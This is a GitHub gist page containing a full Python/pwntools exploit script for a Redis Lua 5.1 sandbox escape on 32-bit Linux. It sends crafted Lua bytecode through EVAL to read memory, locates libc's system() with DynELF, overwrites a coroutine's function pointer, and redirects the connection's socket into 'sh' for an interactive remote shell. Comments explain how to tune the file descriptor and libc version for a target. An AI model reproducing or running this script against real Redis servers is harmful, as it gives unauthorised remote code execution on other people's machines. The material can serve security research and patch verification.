Redis Lua 5.1 sandbox escape 32-bit Linux exploit
## Redis Lua 5.1 sandbox escape 32-bit Linux exploit | |
## Original exploit by corsix and sghctoma | |
## Author: @c3c | |
## It's possible to abuse the Lua 5.1 sandbox to obtain RCE by loading modified bytecode | |
## This concept is fully explained on corsix' gist at https://gist.github.com/corsix/6575486 | |
## This version uses pieces of the 32-bit Windows exploit made by corsix and the 64-bit Linux exploit made by sghctoma; as expected, a few offsets were different | |
## sghctoma's exploit uses the arbitrary memory read to leak pointers to libc and find the address of "system" http://paper.seebug.org/papers/Security%20Conf/Defcon/2015/DEFCON-23-Tamas-Szakaly-Shall-We-Play-A-Game.pdf | |
## This code is much the same, except the process is done using pwntools' DynELF | |
## Furthermore, attempting to leak addresses in libc appears to cause segfaults on my 32-bit Linux, in which case, you will need to obtain the remote libc version | |
## Lastly, only 8 bytes are available to send a shell command to the server. | |
## Due to the size restrictions, we hijack the filedescriptor of the current socket and effectively execute "sh <&5 >&5" (or another FD) in two steps | |
from pwn import * | |
FD = 6 # filedescriptor to use - will probably be different for your target | |
r = remote("127.1", 6379) | |
libc = ELF("libc-2.3.4.so") # currently we need to have a local copy of libc as leaking the BuildID will cause a segfault | |
#context.log_level = 'debug' | |
LUA_FUNCTIONS = r""" | |
local asnum = loadstring((string.dump(function(x) | |
for i = x, x, 0 do | |
return i | |
end | |
end):gsub("\96%z%z\128", "\22\0\0\128"))) | |
local function double_to_dwords(x) | |
if x == 0 then return 0, 0 end | |
if x < 0 then x = -x end | |
local m, e = math.frexp(x) | |
if e + 1023 <= 1 then | |
m = m * 2^(e + 1074) | |
e = 0 | |
else | |
m = (m - 0.5) * 2^53 | |
e = e + 1022 | |
end | |
local lo = m % 2^32 | |
m = (m - lo) / 2^32 | |
local hi = m + e * 2^20 | |
return lo, hi | |
end | |
local function dwords_to_double(lo, hi) | |
local m = hi % 2^20 | |
local e = (hi - m) / 2^20 | |
m = m * 2^32 + lo | |
if e ~= 0 then | |
m = m + 2^52 | |
else | |
e = 1 | |
end | |
return m * 2^(e-1075) | |
end | |
local function add_dword_to_double(x, n) | |
local lo, hi = double_to_dwords(x) | |
return dwords_to_double(lo + n, hi) | |
end | |
local function dword_to_string(x) | |
local b0 = x % 256; x = (x - b0) / 256 | |
local b1 = x % 256; x = (x - b1) / 256 | |
local b2 = x % 256; x = (x - b2) / 256 | |
local b3 = x % 256 | |
return string.char(b0, b1, b2, b3) | |
end | |
local logval = {} | |
local function logit(msg) | |
logval[0] = msg | |
end | |
rawset(_G, "logval", logval) | |
rawset(_G, "logit", logit) | |
rawset(_G, "add_dword_to_double", add_dword_to_double) | |
rawset(_G, "asnum", asnum) | |
rawset(_G, "double_to_dwords", double_to_dwords) | |
rawset(_G, "dwords_to_double", dwords_to_double) | |
rawset(_G, "dword_to_string", dword_to_string) | |
-- stop garbage collecting | |
collectgarbage "stop" | |
-- unhook any installed debug hook | |
debug.sethook() | |
""" | |
LUA_TEMPLATE = r""" | |
local f = loadstring(string.dump(function() | |
local magic = nil | |
local function middle() | |
local print = print | |
local asnum = asnum | |
local double_to_dwords = double_to_dwords | |
local add_dword_to_double = add_dword_to_double | |
local dwords_to_double = dwords_to_double | |
local upval | |
local logit = logit | |
local lo, hi | |
local function put_into_magic(n) | |
upval = 2^52 .. "p" .. "CE3CCE3C" .. dword_to_string(n) | |
local upval_ptr = dword_to_string(asnum(upval) - 2^52 + 16 + 20) | |
magic = upval_ptr .. upval_ptr | |
end | |
{payload} | |
end | |
middle() | |
end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1)) | |
coroutine.wrap(f)() | |
-- we're using a global logger that uses a dictionary - otherwise we'd get a segfault | |
-- this is used to return the leaked pointer back to the current redis connection | |
return logval[0] | |
""" | |
LUA_LEAKER = LUA_TEMPLATE.format(payload=r""" | |
local address = {address} | |
put_into_magic(asnum(address)) | |
lo, hi = double_to_dwords(asnum(magic)) | |
logit(lo) | |
""") | |
LUA_COWRITE = LUA_TEMPLATE.format(payload=r""" | |
local address = {address} | |
local command = dwords_to_double({command[0]}, {command[1]}) -- e.g. sh <&5 | |
local luastate_bkp | |
-- we have to define numbers as local variables as further on, we'll corrupt the call frame | |
local n0 = 0 | |
local n16 = 16 | |
-- type confusion trick as explained by corsix | |
do local l0 = 2^52 local l1, l2, l3, l4, l5, l6, l7 = l0, l0, l0, l0, l0, l0, l0 end | |
local co = coroutine.wrap(function() end) -- coroutine.wrap creates a CClosure whose function pointer is set to luaB_auxwrap | |
local luastate = asnum(coroutine.running()) -- get the address of current "lua_State" | |
-- put luaB_auxwrap's address into "magic" and make it so CClosure::f points to system() | |
-- note: n12 points to CClosure::env, we're immediately skipping to ::f here, | |
-- also because if we don't, we don't seem to be able to set values higher than 0x7ff00000 in the higher bits (something to do with dwords to float conversion?) | |
put_into_magic(add_dword_to_double(asnum(co), n16)) | |
local auxwrap, hi = double_to_dwords(asnum(magic)) | |
magic = dwords_to_double(address, n0) -- sets co's CClosure::f to the defined address ('system') | |
-- save the current lua_State | |
put_into_magic(luastate) | |
luastate_bkp = asnum(magic) | |
-- put luastate into magic - we're using this buffer for our shell arguments | |
-- we can only execute commands in 8 byte chunks so we need to be smart about it =) | |
put_into_magic(luastate) | |
magic = command | |
co() -- trigger the coroutine, effectively calling our address | |
-- restore the original lua_State | |
put_into_magic(luastate) | |
magic = luastate_bkp | |
""") | |
log.debug("\n==== Generated leaker function ====\n" + LUA_LEAKER + "\n========") | |
log.debug("\n==== Generated coroutined overwrite function ====\n" + LUA_COWRITE + "\n========") | |
# redis has its own binary protocol which we're emulating here | |
def gen_redis_proto(*args): | |
proto = '' | |
proto += '*' + str(len(args)) + '\r\n' | |
for arg in args: | |
proto += '$' + str(len(arg)) + '\r\n' | |
proto += str(arg) + '\r\n' | |
return proto | |
## STEP 1: define helper functions | |
# first we define a number of helper functions on the redis server | |
# this uses the "rawset" trick to make them persist in the global scope | |
log.info("Installing helper functions on the server") | |
r.send(gen_redis_proto("eval", LUA_FUNCTIONS, '0')) | |
r.recvline() | |
## STEP 2: leak the necessary addresses | |
# leaker function for pwntools' DynELF class | |
# the leak function will send crafted EVAL statements to the server which will leak 4 bytes of memory at the supplied address | |
def leak(address): | |
r.send(gen_redis_proto("eval", LUA_LEAKER.format(address=str(address)), '0')) | |
data = r.recvline() | |
if not data.startswith(":"): # ints returned by the server will start with a colon in redis' binary protocol | |
log.error("Invalid response from redis server") | |
data = p32(int(data.split(":")[1])) | |
log.debug("%#x => %s" % (address, (data or '').encode('hex'))) | |
return data | |
# start leaking and get the library base addresses from the link_map | |
# pwntools will do this transparently as follows: | |
# - from the program base address, locate the program header table (PHT) | |
# - in the PHT, find the offset to the DT_DEBUG table | |
# - in the DT_DEBUG table we find the pointer to the link_map | |
# - the link_map contains the addresses for all the loaded libraries | |
d = DynELF(leak, 0x8048000) | |
libbases = d.bases() | |
libc_base = None | |
for key,val in libbases.iteritems(): | |
if "libc" in key: | |
libc_base = val | |
break | |
assert libc_base is not None | |
log.success("Found libc (%s) mapped at: 0x%08x" % (key, val)) | |
libc.address = libc_base | |
libc_system = libc.symbols["system"] | |
log.success("Remote libc 'system' address: 0x%08x" % libc_system) | |
## STEP 3: overwrite the CClosure::f pointer to libc_system | |
command = "sh <&%d" % FD # this step allows us to execute commands by redirecting the socket to stdin of the shell | |
command = struct.unpack("<LL", command.ljust(8,'\x00')) | |
r.send(gen_redis_proto("eval", LUA_COWRITE.format(address=str(libc_system), command=map(str,command)), '0')) | |
log.info("Sent our payload. Dup'ing file descriptor now to get output") | |
r.sendline("sh >&%d 2>&%d" % (FD,FD)) # this step allows us to execute commands by redirecting the shell output to the socket | |
log.info("If there's no shell you may need a different file descriptor. If the server crashed, your libc version is probably wrong.") | |
r.clean() | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment